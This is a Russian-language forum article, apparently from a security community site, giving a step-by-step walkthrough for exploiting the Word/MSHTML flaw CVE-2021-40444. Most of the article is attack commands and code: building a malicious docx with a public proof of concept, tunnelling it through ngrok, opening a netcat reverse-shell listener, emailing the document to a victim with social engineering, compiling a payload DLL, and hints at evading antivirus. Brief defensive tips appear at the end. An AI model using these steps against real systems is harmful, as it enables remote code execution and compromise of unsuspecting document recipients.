• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Статья Взлом посредством CVE-2021-40444

Кратко о грядущем:

Сегодня хочу наглядно показать и рассказать о CVE-2021-40444.

Если коротко, то это уязвимость в MSHTML (движок Internet Explorer который используется в ворде) она даёт нам возможность исполнить код на системе жертвы.
Сама реализация взлома похожа на CVE-2017-11882, про которую уже писали на codeby (https://codeby.net/threads/cve-2017-11882-ili-vzlom-s-pomoschju-bezobidnogo-dokumenta.61234/).

На момент написания существует фикс, нужно запретить устанавливать новые элементы управления ActiveX( )

Майкрософт еще не сделала патч, однако из за того, что на гитхабе уже лежит PoC и многие эксплуатируют эту уязвимость, о ней уже объявили.

Эксплуатация работает так:
1. Вордовский файл грузит адрес как OLE объект, в данном случае это side.html
2. Side.html использует ActiveX чтобы загрузить .cab из сети.
3. Side.html javascript юзает содержимре .cab как activex-object
4. Далее идет активация произвольного кода.

Основное:

Для взлома нам понадобятся: Ngrok, C#, , python.

Используемый PoC запускает dll файлы, в такой нужно впихнуть reverse shell.
Будем использовать готовый код отсюда,
Меняем IP и Порт на те что используем и компилируем код в dll.
Устанавливаем Ngrok по гайду на главной страницы чтобы лишний раз не открывать порты.
В директории, где установили Ngrok прописываем:
Bash:
./ngrok http 8000
Копируем ссылку на наше веб приложенеие.

Пишем следующее в новом терминале:
Bash:
sudo apt-get install lcab
git clone https://github.com/lockedbyte/CVE-2021-40444.git
cd CVE-2021-40444
python3 exploit.py generate "путь к dll" "ссылка от ngrok"
Ожидаем пока процесс генерации закончится.
Пишем
Bash:
sudo python3 exploit.py host 8000
(Важно чтобы порт был тот-же что и у Ngrok!)
В out копируем наш docx файл.
При запуске файла мы увидим примерно такое:

1631724882072.png


Прописываем
Bash:
nc -l -p
(порт который вы поставили в коде C#)
Заходим на и указываем email, от имени которого будем отправлять наш docx.
Отправляем docx с придуманным текстом.
Получаем reverse shell через который уже можно залить любой файл.
Сам docx при просмотре не с ворда будет выглядеть как непонятный набор символов так:

1631725028454.png


Перед этим он подлагает.
Так-же нужно чтобы жертва открыла его в режиме редактирования, это можно сделать с помощью соц.инж
Хочется сказать, что 360 Total Security успешно ловит такие документы, хотя я думаю можно постараться обойти детект.
Для тех кто хочет пойти глубже и сделать все сам:
1. Перейдите в maldoc / word / _rels / document.xml.rels и отредактируйте два вхождения для http: // <HOST>, введите URL-адрес который введите к эксплоит.html Например:` `.
2. Создаем docx файл:
Bash:
cd maldoc /; zip -r maldoc.docx *
3. Создаем вредоносный cab:
C#:
#include <windows.h>
void exec(void) {
    system("C:\\Windows\\System32\\calc.exe");
    return;
}
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
           exec();
           break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
3.1: Выполняем
Bash:
i686-w64-mingw32-gcc -shared calc.c -o calc.dll
3.2:
Bash:
cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' out.cab
4. Скопируйте out.cab в каталог www /, измените exploit.html так, чтобы он указывал на ` `
Для взлома нужно владеть социальной инженерии, ничего сложного в эксплуатации уязвимости нету.
5. Выполним скрипт:
Bash:
python3 patch_cab.py
Готово!

Под конец:

В заключении скажу, что перед тем как открывать файлы на основной системе, откройте их через обычный блокнот, если там будет что-то странное то лучше перестраховаться.
Отмечу, что работать это будет если в уведомлении Protected View нажать на Enable Editing, многие автоматом нажимают, чего делать не следует.
В скором времени возможен выход патча от microsoft, но а пока нужно быть очень бдительным с вордом.
Берегите себя и свои данные.
 
Последнее редактирование модератором:
выкатили же сегодня сентябрьский патч мелкомягкие с закрытием (?) этой CVE
На момент написания ещё не было, писал это вчера, сегодня только подшлейфовывал.
Не видел патч, но спасибо за инфу.
 
  • Нравится
Реакции: Дядюшка Рик
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab